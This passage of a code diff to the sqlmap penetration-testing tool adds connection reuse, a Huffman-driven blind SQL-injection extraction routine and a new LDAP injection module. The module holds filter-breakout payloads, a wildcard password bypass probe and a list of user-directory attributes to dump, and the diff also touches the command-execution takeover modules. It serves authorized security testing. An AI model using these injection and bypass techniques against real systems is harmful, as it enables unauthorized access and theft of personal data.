+            headers = response.msg  # Python 2: msg holds the parsed headers
+
+        response.url = url
+        response.code = response.status
+        response.headers = headers
+
+        if not hasattr(response, "info"):
+            response.info = lambda headers=headers: headers
+        if not hasattr(response, "geturl"):
+            response.geturl = lambda url=url: url
+        if not hasattr(response, "getcode"):
+            response.getcode = lambda response=response: response.status
+
+        # Note: Python 2's httplib.HTTPResponse lacks readline()/readlines(), which urllib2's
+        # error wrapping (addinfourl, for any non-2xx response) requires; provide them over read()
+        if not hasattr(response, "readline"):
+            response.readline = _makeReadline(response)
+            response.readlines = _makeReadlines(response)
+
+        # Note: must come last as on Python 3 'msg' initially aliases the headers
+        response.msg = response.reason
+
+    def _instrument(self, response, key, conn, count, keep):
+        """
+        Returns the connection to the pool once (and only once) its body has been
+        fully consumed; otherwise the socket is closed. A partially read response
+        (e.g. sqlmap hitting a size cap) leaves unread bytes on the wire, so such
+        a connection is never reused.
+        """
+
+        state = {"handled": False}
+        _read = response.read
+        _close = response.close
+
+        def drained():
+            checker = getattr(response, "isclosed", None)
+            if callable(checker):
+                try:
+                    return checker()
+                except Exception:
+                    return False
+            return getattr(response, "fp", None) is None
+
+        def settle():
+            # Once (and only once) the body is fully drained, decide the socket's fate
+            if state["handled"] or not drained():
+                return
+            state["handled"] = True
+            if keep:
+                self._give_back(key, conn, count)
+            else:
+                try:
+                    conn.close()
+                except Exception:
+                    pass
+
+        def read(*args, **kwargs):
+            data = _read(*args, **kwargs)
+            settle()
+            return data
+
+        def close():
+            # Note: on Python 2 httplib.read() calls close() itself upon EOF
+            _close()
+            settle()
+            if not state["handled"]:
+                # Closed before the body was fully consumed; unsafe to reuse
+                state["handled"] = True
+                try:
+                    conn.close()
+                except Exception:
+                    pass
+
+        response.read = read
+        response.close = close
+
+class HTTPKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPHandler):
+    _scheme = "http"
+
+    def __init__(self):
+        _KeepAliveHandler.__init__(self)
+
+    def http_open(self, req):
+        return self.do_open(req)
+
+    def _get_connection(self, host):
+        return _http_client.HTTPConnection(host)
+
+    def _send_request(self, conn, req):
+        _sendRequest(conn, req)
+
+class HTTPSKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPSHandler):
+    _scheme = "https"
+
+    def __init__(self):
+        _KeepAliveHandler.__init__(self)
+
+    def https_open(self, req):
+        return self.do_open(req)
+
+    def _get_connection(self, host):
+        # Note: reuses sqlmap's SSL-negotiating connection (lib/request/httpshandler.py)
+        from lib.request.httpshandler import HTTPSConnection
+        from lib.request.httpshandler import ssl
+        return HTTPSConnection(host) if ssl else _http_client.HTTPSConnection(host)
+
+    def _send_request(self, conn, req):
+        _sendRequest(conn, req)
+
+def _sendRequest(conn, req):
+    """
+    Issues L{req} on the (possibly reused) low-level connection L{conn}
+    """
+
+    data = getattr(req, "data", None)
+    method = req.get_method() or ("POST" if data is not None else "GET")
+    selector = req.selector if hasattr(req, "selector") else req.get_selector()
+
+    try:
+        conn.putrequest(method, selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
+
+        if data is not None:
+            if not req.has_header("Content-type"):
+                conn.putheader("Content-type", "application/x-www-form-urlencoded")
+            if not req.has_header("Content-length"):
+                conn.putheader("Content-length", "%d" % len(data))
+    except (socket.error, _http_client.HTTPException) as ex:
+        raise _urllib.error.URLError(ex)
+
+    if not req.has_header("Connection"):
+        conn.putheader("Connection", "keep-alive")
+
+    for key, value in req.header_items():
+        conn.putheader(key, value)
+
+    conn.endheaders()
+
+    if data is not None:
+        conn.send(data)
+
+def _makeReadline(response):
+    """
+    A buffered readline() over response.read() (Python 2 httplib.HTTPResponse lacks one)
+    """
+
+    buffer = {"data": b""}
+
+    def readline(*args, **kwargs):
+        while b"\n" not in buffer["data"]:
+            chunk = response.read(8192)
+            if not chunk:
+                break
+            buffer["data"] += chunk
+        data = buffer["data"]
+        index = data.find(b"\n")
+        if index == -1:
+            buffer["data"] = b""
+            return data
+        buffer["data"] = data[index + 1:]
+        return data[:index + 1]
+
+    return readline
+
+def _makeReadlines(response):
+    def readlines(*args, **kwargs):
+        result = []
+        while True:
+            line = response.readline()
+            if not line:
+                break
+            result.append(line)
+        return result
+
+    return readlines

lib/request/redirecthandler.py

@@ -136,7 +136,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
                 delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
                 last = None
 
-                for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter) + ([headers[HTTP_HEADER.SET_COOKIE]] if HTTP_HEADER.SET_COOKIE in headers else []):
+                for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter):
                     if '=' in part:
                         part = part.strip()
                         key, value = part.split('=', 1)
@@ -145,12 +145,18 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
                     elif last:
                         cookies[last] += "%s%s" % (delimiter, part)
 
+                if HTTP_HEADER.SET_COOKIE in headers:
+                    for match in re.finditer(r"(?:^|,\s*)([^=;,]+)=([^;,]+)", headers[HTTP_HEADER.SET_COOKIE]):
+                        key = match.group(1).strip()
+                        if key.lower() not in ("expires", "path", "domain", "max-age", "secure", "httponly", "samesite"):
+                            cookies[key] = match.group(2).strip()
+
                 req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
 
             try:
                 result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
             except _urllib.error.HTTPError as ex:
-                result = ex
+                result = error = ex
 
                 # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046
                 try:
@@ -172,7 +178,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
                 if not hasattr(result, "read"):
                     def _(self, length=None):
                         try:
-                            retVal = getSafeExString(ex)        # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
+                            retVal = getSafeExString(error)
                         except:
                             retVal = ""
                         return getBytes(retVal)

lib/takeover/udf.py

@@ -231,8 +231,8 @@ class UDF(object):
             errMsg += "but the database underlying operating system is Linux"
             raise SqlmapMissingMandatoryOptionException(errMsg)
 
-        self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
-        self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
+        self.udfSharedLibName = os.path.splitext(os.path.basename(self.udfLocalFile))[0]
+        self.udfSharedLibExt = os.path.splitext(self.udfLocalFile)[1][1:]
 
         msg = "how many user-defined functions do you want to create "
         msg += "from the shared library? "

lib/takeover/xp_cmdshell.py

@@ -226,8 +226,8 @@ class XP_cmdshell(object):
 
                 if isNumPosStrValue(count):
                     for index in getLimitRange(count):
-                        query = agent.limitQuery(index, query, self.tblField)
-                        output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
+                        limitedQuery = agent.limitQuery(index, query, self.tblField)
+                        output.append(inject.getValue(limitedQuery, union=False, error=False, resumeValue=False))
 
             inject.goStacked("DELETE FROM %s" % self.cmdTblName)
 

lib/techniques/blind/inference.py

@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
 
 from __future__ import division
 
+import heapq
 import re
 import time
 
@@ -41,6 +42,10 @@ from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapThreadException
 from lib.core.exception import SqlmapUnsupportedFeatureException
 from lib.core.settings import CHAR_INFERENCE_MARK
+from lib.core.settings import HUFFMAN_PROBE_LIMIT
+from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS
+from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS
+from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH
 from lib.core.settings import INFERENCE_BLANK_BREAK
 from lib.core.settings import INFERENCE_EQUALS_CHAR
 from lib.core.settings import INFERENCE_GREATER_CHAR
@@ -64,6 +69,10 @@ from lib.utils.safe2bin import safecharencode
 from lib.utils.xrange import xrange
 from thirdparty import six
 
+# Sentinel returned by the opt-in Huffman retrieval (--huffman) meaning "this character is
+# outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection".
+_HUFFMAN_FALLBACK = object()
+
 def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
     """
     Bisection algorithm that can be used to perform blind SQL injection
@@ -80,7 +89,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
         return 0, None
 
     if charsetType is None and conf.charset:
-        asciiTbl = sorted(set(ord(_) for _ in conf.charset))
+        # conf.charset is fixed for the whole run; compute the table once, not per bisection() call
+        if kb.cache.charsetAsciiTbl is None:
+            kb.cache.charsetAsciiTbl = sorted(set(ord(_) for _ in conf.charset))
+        asciiTbl = kb.cache.charsetAsciiTbl
     else:
         asciiTbl = getCharset(charsetType)
 
@@ -127,10 +139,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             expression = match.group(2).strip()
 
     try:
-        # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
+        # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used, or the
+        # engine is called from the API, or a JSON report is being collected (so enumeration output is tagged)
         if conf.predictOutput:
             kb.partRun = getPartRun()
-        elif conf.api:
+        elif conf.api or conf.reportJson:
             kb.partRun = getPartRun(alias=False)
         else:
             kb.partRun = None
@@ -152,6 +165,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             lastChar = 0
         elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
             lastChar = int(conf.lastChar)
+            if kb.fileReadMode:  # Note: file content is retrieved hex-encoded (2 chars per byte), mirroring the firstChar handling above
+                lastChar <<= 1
         elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):
             lastChar = int(lastChar)
         else:
@@ -264,6 +279,95 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
             return result
 
+        def huffmanChar(idx):
+            """
+            Adaptive retrieval of a single character using set-membership ("... IN (...)")
+            questions driven by a Huffman tree built from an online frequency model of the data
+            retrieved so far (used by default for blind table dumps; '--no-huffman' disables it).
+            The expected number of requests approaches the
+            data's entropy (fewer on text/hex), while uniform/binary data yields a balanced tree
+            (i.e. no penalty versus the classic bisection).
+
+            Correctness does NOT depend on the (shared, racily updated) model: the tree is a
+            decision tree over the whole 0..127 range plus a dedicated ESCAPE leaf. At every node
+            the child that does NOT contain ESCAPE is the one tested, so any value outside 0..127
+            (e.g. multi-byte/Unicode) fails every membership test, lands on ESCAPE and is handed
+            back to the classic bisection. Returns the character, or None to fall back.
+            """
+            ESCAPE = -1
+            model = kb.huffmanModel
+
+            heap = []
+            for order, ordinal in enumerate(xrange(128)):
+                heapq.heappush(heap, (model.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,)))
+            heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,)))
+
+            counter = 129
+            while len(heap) > 1:
+                w1, _, n1 = heapq.heappop(heap)
+                w2, _, n2 = heapq.heappop(heap)
+                heapq.heappush(heap, (w1 + w2, counter, (n1, n2)))
+                counter += 1
+            node = heap[0][2]
+
+            def _concrete(n):
+                if len(n) == 1:
+                    return [] if n[0] == ESCAPE else [n[0]]
+                return _concrete(n[0]) + _concrete(n[1])
+
+            def _hasEscape(n):
+                return n[0] == ESCAPE if len(n) == 1 else (_hasEscape(n[0]) or _hasEscape(n[1]))
+
+            template = payload.replace("%s%s" % (INFERENCE_GREATER_CHAR, "%d"), " IN (%s)", 1)
+
+            while len(node) == 2:
+                left, right = node
+
+                if _hasEscape(left):
+                    testNode, otherNode = right, left
+                elif _hasEscape(right):
+                    testNode, otherNode = left, right
+                else:
+                    leftLeaves, rightLeaves = _concrete(left), _concrete(right)
+                    testNode, otherNode = (left, right) if len(leftLeaves) <= len(rightLeaves) else (right, left)
+
+                testSet = _concrete(testNode)
+                setExpr = ','.join(str(_) for _ in testSet)
+                forgedPayload = safeStringFormat(template, (expressionUnescaped, idx, setExpr))
+                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
+                incrementCounter(getTechnique())
+
+                node = testNode if result else otherNode
+
+            value = node[0]
+
+            if value == ESCAPE:
+                model[ESCAPE] = model.get(ESCAPE, 0) + 1
+                return _HUFFMAN_FALLBACK
+
+            if value == 0:
+                # ORD(MID(..)) of an empty (past end-of-string) character is 0; mirror the classic
+                # bisection and signal end-of-string (do NOT pollute the model with the sentinel).
+                return None
+
+            # One-time safety validation: cross-check the first set-membership result with a short
+            # equality probe. Unlike the long IN() lists, a single '=N' comparison cannot be
+            # truncated/mangled by a parameter-length limit or a WAF, so it is a trustworthy oracle.
+            # If it disagrees, the IN() channel is unreliable here: latch the technique off so the
+            # classic '>' bisection takes over for the rest of the run (graceful fallback).
+            if not kb.huffmanValidated:
+                verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value))
+                verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False)
+                incrementCounter(getTechnique())
+                if verified:
+                    kb.huffmanValidated = True
+                else:
+                    kb.disableHuffman = True
+                    return _HUFFMAN_FALLBACK
+
+            model[value] = model.get(value, 0) + 1
+            return decodeIntToUnicode(value)
+
         def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
             """
             continuousOrder means that distance between each two neighbour's
@@ -277,6 +381,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             if result:
                 return result
 
+            if (not conf.noHuffman and not kb.disableHuffman and dump and continuousOrder and charsetType is None and not timeBasedCompare
+                    and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload
+                    and ("'%s'" % CHAR_INFERENCE_MARK) not in payload):
+                kb.huffmanProbes = (kb.huffmanProbes or 0) + 1
+                result = huffmanChar(idx)
+                if result is not _HUFFMAN_FALLBACK:
+                    return result
+                # huffman declined this character (Unicode/escape, or failed the validation probe).
+                # If the set-membership channel keeps escaping it is not paying off here (trimmed/
+                # blocked long payloads, or non-ASCII-heavy data) -> latch off so the classic '>'
+                # bisection takes over efficiently for the rest of the run.
+                kb.huffmanEscapes = (kb.huffmanEscapes or 0) + 1
+                if kb.huffmanProbes >= HUFFMAN_PROBE_LIMIT and kb.huffmanEscapes * 2 >= kb.huffmanProbes:
+                    kb.disableHuffman = True
+
             if charTbl is None:
                 charTbl = type(asciiTbl)(asciiTbl)
 
@@ -512,6 +631,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             threadData.shared.value = [None] * length
             threadData.shared.index = [firstChar]    # As list for python nested function scoping
             threadData.shared.start = firstChar
+            threadData.shared.retrieved = 0
+            threadData.shared.endIndex = 0
 
             try:
                 def blindThread():
@@ -537,7 +658,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                             break
 
                         with kb.locks.value:
-                            threadData.shared.value[currentCharIndex - 1 - firstChar] = val
+                            idx = currentCharIndex - 1 - firstChar
+                            threadData.shared.value[idx] = val
+                            threadData.shared.retrieved += 1
+                            if idx > threadData.shared.endIndex:
+                                threadData.shared.endIndex = idx
                             currentValue = list(threadData.shared.value)
 
                         if kb.threadContinue:
@@ -545,25 +670,18 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                 progress.progress(threadData.shared.index[0])
                             elif conf.verbose >= 1:
                                 startCharIndex = 0
-                                endCharIndex = 0
-
-                                for i in xrange(length):
-                                    if currentValue[i] is not None:
-                                        endCharIndex = max(endCharIndex, i)
+                                endCharIndex = threadData.shared.endIndex
 
                                 output = ''
 
                                 if endCharIndex > conf.progressWidth:
                                     startCharIndex = endCharIndex - conf.progressWidth
 
-                                count = threadData.shared.start
+                                count = threadData.shared.start + threadData.shared.retrieved
 
                                 for i in xrange(startCharIndex, endCharIndex + 1):
                                     output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
 
-                                for i in xrange(length):
-                                    count += 1 if currentValue[i] is not None else 0
-
                                 if startCharIndex > 0:
                                     output = ".." + output[2:]
 
@@ -710,7 +828,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
         if finalValue is not None:
             finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue
-            hashDBWrite(expression, finalValue)
+            if not (conf.firstChar or conf.lastChar):  # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one
+                hashDBWrite(expression, finalValue)
+
+            # Adaptive intra-run prediction (good samaritan / --predict-output): remember this extracted
+            # value for its enumeration context so later same-context items sharing structure are predicted
+            # faster. Length-capped (identifiers are short -> large data cells never bloat/pollute the pool);
+            # a wrong prediction only ever costs a probe and falls back to bisection.
+            if (conf.predictOutput and kb.partRun and kb.commonOutputs is not None
+                    and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH
+                    and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS):
+                kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue)
         elif partialValue:
             hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
 

lib/techniques/dns/use.py

@@ -84,7 +84,10 @@ def dnsUse(payload, expression):
                 _ = conf.dnsServer.pop(prefix, suffix)
 
                 if _:
-                    _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
+                    # Note: non-greedy so a '--dns-domain' label that happens to match the random
+                    # suffix can't make the match run past the real boundary (the boundary alphabet
+                    # excludes hex characters, so it can never under-match into the hex payload)
+                    _ = extractRegexResult(r"%s\.(?P<result>.+?)\.%s" % (prefix, suffix), _, re.I)
                     _ = decodeDbmsHexValue(_)
                     output = (output or "") + _
                     offset += len(_)

lib/techniques/error/use.py

@@ -314,8 +314,8 @@ def errorUse(expression, dump=False):
 
     _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
 
-    # Set kb.partRun in case the engine is called from the API
-    kb.partRun = getPartRun(alias=False) if conf.api else None
+    # Set kb.partRun in case the engine is called from the API or a JSON report is being collected
+    kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None
 
     # We have to check if the SQL query might return multiple entries
     # and in such case forge the SQL limiting the query output one
@@ -326,8 +326,10 @@ def errorUse(expression, dump=False):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
 
         if limitCond:
-            # Count the number of SQL query entries output
-            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
+            # Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single
+            # field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from
+            # the dump (e.g. a column whose value is NULL on some rows).
+            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1)
 
             if " ORDER BY " in countedExpression.upper():
                 _ = countedExpression.upper().rindex(" ORDER BY ")

lib/techniques/graphql/__init__.py

@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+pass

lib/techniques/ldap/__init__.py

@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+pass

lib/techniques/ldap/inject.py

@@ -0,0 +1,756 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import difflib
+import re
+import time
+
+from collections import namedtuple
+
+from lib.core.common import beep
+from lib.core.common import randomStr
+from lib.core.convert import getUnicode
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import PLACE
+from lib.core.settings import LDAP_CHAR_MAX
+from lib.core.settings import LDAP_CHAR_MIN
+from lib.core.settings import LDAP_ERROR_REGEX
+from lib.core.settings import LDAP_ERROR_SIGNATURES
+from lib.core.settings import LDAP_FINGERPRINT_ATTRIBUTES
+from lib.core.settings import LDAP_MAX_LENGTH
+from lib.core.settings import LDAP_MAX_RECORDS
+from lib.core.settings import UPPER_RATIO_BOUND
+from lib.request.connect import Connect as Request
+from lib.utils.xrange import xrange
+
+
+SENTINEL = randomStr(length=10, lowercase=True)
+
+# _send() below currently knows how to rebuild GET and POST-style parameter
+# strings. Cookie and URI delivery require separate per-place logic and should not
+# be advertised until implemented.
+LDAP_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
+
+# Breakouts are tried against the original application filter template. The
+# generated assertion fragments intentionally stay open-ended: the vulnerable
+# application usually appends the closing ')' or trailing substring '*') itself.
+LDAP_BREAKOUT_PREFIXES = (
+    "*)",       # substring + one assertion:  (attr=*<input>*)
+    ")",        # exact-match one assertion:   (attr=<input>)
+    "|",        # injection at filter-list head
+    "*))(",     # substring + two assertions deep
+    "*)))",     # substring + three assertions deep
+    ")))",      # exact-match three assertions deep
+)
+
+LDAP_TAUTOLOGY_ATTRIBUTES = (
+    "objectClass",
+    "uid",
+    "cn",
+)
+
+ENTRY_KEY_ATTRIBUTES = (
+    "uid",
+    "sAMAccountName",
+    "userPrincipalName",
+    "mail",
+    "cn",
+)
+
+DUMP_ATTRIBUTES = (
+    "uid",
+    "cn",
+    "sn",
+    "givenName",
+    "displayName",
+    "mail",
+    "sAMAccountName",
+    "userPrincipalName",
+    "title",
+    "department",
+    "company",
+    "o",
+    "ou",
+    "telephoneNumber",
+    "mobile",
+    "manager",
+    "description",
+    "l",
+    "st",
+    "street",
+    "postalCode",
+    "c",
+    "co",
+    "employeeID",
+    "employeeNumber",
+    "employeeType",
+    "objectClass",
+    "objectCategory",
+)
+
+MULTI_VALUE_ATTRIBUTES = (
+    "member",
+    "memberOf",
+    "uniqueMember",
+)
+
+Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template", "payload", "breakout", "bypass"))
+Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None)
+
+
+def _ratio(first, second):
+    return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
+
+
+def _delim(place):
+    return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
+
+
+def _confParameters(place):
+    try:
+        return conf.parameters.get(place, "")
+    except AttributeError:
+        return conf.parameters[place] if place in conf.parameters else ""
+
+
+def _originalValue(place, parameter):
+    for segment in _confParameters(place).split(_delim(place)):
+        name, _, value = segment.partition('=')
+        if name.strip() == parameter:
+            return value
+    return conf.paramDict.get(place, {}).get(parameter) or ""
+
+
+def _replaceSegment(place, parameter, value):
+    delimiter = _delim(place)
+    raw = _confParameters(place)
+    retVal, replaced = [], False
+
+    for part in raw.split(delimiter):
+        name, _, _ = part.partition('=')
+        if not replaced and name.strip() == parameter:
+            retVal.append("%s=%s" % (name, value))
+            replaced = True
+        else:
+            retVal.append(part)
+
+    if not replaced:
+        retVal = []
+        for name, oldValue in conf.paramDict.get(place, {}).items():
+            retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
+
+    return delimiter.join(retVal)
+
+
+def _send(place, parameter, value):
+    skipUrlEncode = conf.skipUrlEncode
+    conf.skipUrlEncode = True
+
+    if conf.delay:
+        time.sleep(conf.delay)
+
+    try:
+        kwargs = {"raise404": False, "silent": True}
+        payload = _replaceSegment(place, parameter, value)
+        kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload
+
+        if conf.verbose >= 3:
+            logger.log(CUSTOM_LOGGING.PAYLOAD, payload)
+        page, _, _ = Request.getPage(**kwargs)
+        return page or ""
+    except Exception as ex:
+        logger.debug("LDAP probe request failed: %s" % getUnicode(ex))
+        return ""
+    finally:
+        conf.skipUrlEncode = skipUrlEncode
+
+
+def _isError(page):
+    return bool(re.search(LDAP_ERROR_REGEX, getUnicode(page or "")))
+
+
+def _backendFromError(page):
+    page = getUnicode(page or "")
+    for backend, regex in LDAP_ERROR_SIGNATURES:
+        if re.search(regex, page):
+            return backend
+    return "Generic LDAP" if _isError(page) else None
+
+
+def _probeBackendByParserError(place, parameter):
+    """Probe for LDAP filter parser errors to obtain a backend hint.
+    This is NOT authoritative vulnerability detection -- only a boolean
+    oracle (from _detectBoolean) confirms exploitable injection."""
+
+    original = _originalValue(place, parameter) or "x"
+    normal = _send(place, parameter, original)
+
+    # Use LDAP filter syntax breakers, not apostrophes. Apostrophes are not LDAP
+    # filter metacharacters and only detect broken LDAP emulators backed by SQL.
+    for suffix in (")", "*)"):
+        payload = original + suffix
+        broken = _send(place, parameter, payload)
+
+        if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
+            continue
+
+        backend = _backendFromError(broken)
+        if backend and not _isError(normal):
+            return backend, payload
+
+    return None, None
+
+
+def _boolean(truthy, falsy):
+    """Return the reproducible true page when true/false probes diverge."""
+
+    truePage = truthy()
+    if not truePage or _isError(truePage):
+        return None
+
+    falsePage = falsy()
+    if not falsePage or _isError(falsePage):
+        return None
+
+    truePage2 = truthy()
+    if _ratio(truePage, truePage2) >= UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
+        return truePage
+
+    return None
+
+
+def _detectBoolean(place, parameter):
+    """Return (template, payload, breakout) for boolean-blind LDAPi."""
+
+    original = _originalValue(place, parameter) or ""
+    falsePayload = original + SENTINEL
+
+    for breakout in LDAP_BREAKOUT_PREFIXES:
+        for attr in LDAP_TAUTOLOGY_ATTRIBUTES:
+            # Open fragment by design. The application template supplies the tail.
+            truePayload = "%s%s(%s=*" % (original, breakout, attr)
+            template = _boolean(lambda p=truePayload: _send(place, parameter, p),
+                                lambda p=falsePayload: _send(place, parameter, p))
+            if template:
+                return template, truePayload, breakout
+
+    # Useful for auth/search bypass reporting, but not enough to synthesize
+    # arbitrary LDAP filters for enumeration.
+    if original:
+        template = _boolean(lambda: _send(place, parameter, "*"),
+                            lambda: _send(place, parameter, SENTINEL))
+        if template:
+            return template, "*", None
+
+    return None, None, None
+
+
+def _isPasswordParam(parameter):
+    parameter = getUnicode(parameter or "").lower()
+    return any(_ in parameter for _ in ("pass", "pwd", "secret", "pin", "cred", "key", "token", "auth"))
+
+
+def _detectAuthBypass(place, parameter):
+    if not _isPasswordParam(parameter):
+        return None
+
+    starPage = _send(place, parameter, "*")
+    sentinelPage = _send(place, parameter, SENTINEL)
+
+    if starPage and sentinelPage and _ratio(starPage, sentinelPage) < UPPER_RATIO_BOUND:
+        return "*"
+
+    return None
+
+
+def _fingerprintByError(backend):
+    if not backend:
+        return None
+    if "Active Directory" in backend:
+        return "Microsoft Active Directory"
+    if "OpenLDAP" in backend:
+        return "OpenLDAP"
+    if "ApacheDS" in backend:
+        return "ApacheDS"
+    if "Oracle" in backend:
+        return "Oracle Directory Server"
+    if "389" in backend:
+        return "389 Directory Server"
+    if "python-ldap" in backend or "Java JNDI" in backend:
+        return backend
+    return backend
+
+
+def _transportEncode(value):
+    """
+    Encode only transport-sensitive characters because _send() disables sqlmap's
+    regular URL encoding. LDAP filter syntax should remain raw; assertion values
+    should be passed through _ldapLiteral() first.
+    """
+
+    value = getUnicode(value)
+    value = value.replace("%", "%25")
+    value = value.replace("#", "%23")
+    value = value.replace("&", "%26")
+    value = value.replace("+", "%2B")
+    value = value.replace("=", "%3D")
+    value = value.replace(" ", "%20")
+    return value
+
+
+def _ldapLiteral(value):
+    """Escape an LDAP assertion value, then protect URL transport bytes."""
+
+    value = getUnicode(value)
+    value = value.replace("\\", "\\5c")
+    value = value.replace("*", "\\2a")
+    value = value.replace("(", "\\28")
+    value = value.replace(")", "\\29")
+    value = value.replace("\x00", "\\00")
+    return _transportEncode(value)
+
+
+class _ProbeBuilder(object):
+    """
+    Build payloads that preserve the winning breakout shape.
+
+    Simple probes are open fragments, e.g. SENTINEL*)(uid=adm*
+    The target application's original filter template supplies the closing suffix.
+    Compound probes close their own (&...) filter, then open a dummy assertion to
+    consume that same application suffix.
+    """
+
+    def __init__(self, breakout):
+        self.breakout = breakout or ")"
+
+    def raw(self, fragment, lead=None):
+        return "%s%s%s" % (lead if lead is not None else SENTINEL, self.breakout, fragment)
+
+    def presence(self, attr, constraint=None, exclusions=None):
+        assertion = "(%s=*)" % attr
+        if constraint or exclusions:
+            return self._compound(assertion, constraint=constraint, exclusions=exclusions)
+        return self.raw("(%s=*" % attr)
+
+    def prefix(self, attr, value, constraint=None, exclusions=None):
+        assertion = "(%s=%s*)" % (attr, _ldapLiteral(value))
+        if constraint or exclusions:
+            return self._compound(assertion, constraint=constraint, exclusions=exclusions)
+        return self.raw("(%s=%s*" % (attr, _ldapLiteral(value)))
+
+    def contains(self, attr, value, constraint=None, exclusions=None):
+        assertion = "(%s=*%s*)" % (attr, _ldapLiteral(value))
+        if constraint or exclusions:
+            return self._compound(assertion, constraint=constraint, exclusions=exclusions)
+        return self.raw("(%s=*%s*" % (attr, _ldapLiteral(value)))
+
+    def equals(self, attr, value, constraint=None, exclusions=None):
+        assertion = "(%s=%s)" % (attr, _ldapLiteral(value))
+        if constraint or exclusions:
+            return self._compound(assertion, constraint=constraint, exclusions=exclusions)
+
+        # Exact equality cannot be made reliable in an unknown trailing template,
+        # so simple contexts fall back to prefix semantics.
+        return self.prefix(attr, value)
+
+    def _compound(self, assertion, constraint=None, exclusions=None):
+        clauses = []
+
